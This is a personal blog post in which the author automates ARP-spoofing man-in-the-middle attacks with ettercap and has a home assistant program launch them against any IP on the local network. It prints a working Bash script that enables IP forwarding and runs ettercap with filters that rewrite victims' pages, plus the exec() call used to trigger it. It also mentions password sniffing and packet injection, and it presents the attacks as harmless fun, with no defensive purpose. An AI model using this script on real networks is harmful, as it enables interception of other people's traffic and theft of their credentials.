Hacking is so easy, even a computer can do it
Hacking Is So Easy, Even a Computer Can Do It

								In The Avengers, there was a scene where Tony Stark had Jarvis hack into the Avengers mainframe.  

I remember thinking, “how cool!  I want to teach MY jarvis to do that!”.
Now, I don’t think any task is purely heuristic (except love, maybe?).  Everything can be done systematically and/or algorithmically.  It’s just a matter of discovering that system or algorithm.  Even factoring large numbers (which, if discovered, will collapse the current state of online security).
So I decided to teach Jarvis to do a Man-In-The-Middle attack on any computer in the network.  Man-in-the-Middle Attacks are easy to perform.  With the right filters in place, you can do lots of cool things.  I already created a bunch of different filters that do different things…. so it’s just a matter of automating that process.
First, I wrote a Bash script that runs different kinds of ettercap commands and filters and targets different IP’s.

#!/bin/bash

if [ $# -eq 0 ]
then
    kill -9 `ps -eo comm,pid | awk '$1 == "ettercap" { print $2 }'`
else
    sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
    if [ $3 = mickey ]
    then
        ettercap -i eth1 -T -q -F mickeymouse.ef -M arp:remote /$1/ /$2/
    elif [ $3 = link ]
    then
        ettercap -i eth1 -T -q -F hrefhack.ef -M arp:remote /$1/ /$2/
    else
        ettercap -i eth1 -T -q -F metasploit.ef -M arp:remote /$1/ /$2/
    fi
fi


note: running your script as anybody other than su will have insufficient permissions.  I leave it up to you to handle that
note 2: Those .ef files are my compiled filters.  If you want to learn more about ettercap filters, search google or read this.
The .ef files shown here are just 3 of many compiled ettercap filters.  The mickeymouse.ef replaces all images with my mickey mouse image.  The hrefhack.ef filter replaces all href links with http://cranklin.com links.  The metasploit.ef filter takes over the entire page with a giant iframe with the contents of http://cranklin.com.Yes… harmless but fun.
Now, all I have to do is add another Jarvis conditional to attack a given IP address, and have her run: 
exec('mitmscript [gateway IP] [victim IP] [attack type] > /dev/null 2>/dev/nul &');
Yup!  That easy!  Let’s watch her in action!

For the sake of brevity, I limited the video to demonstrations of 2 different types of attacks.  In actuality, Jarvis is capable of doing many different types of attacks including logging, password sniffing, packet injections, etc etc.  Oh Jarvis. 🙂  

			
														